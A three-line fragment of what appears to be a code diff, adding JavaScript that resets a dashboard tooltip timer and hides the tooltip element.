+    dashboardBarTooltipTimer = null;
+    if (dashboardBarTooltipEl) dashboardBarTooltipEl.style.display = 'none';
+}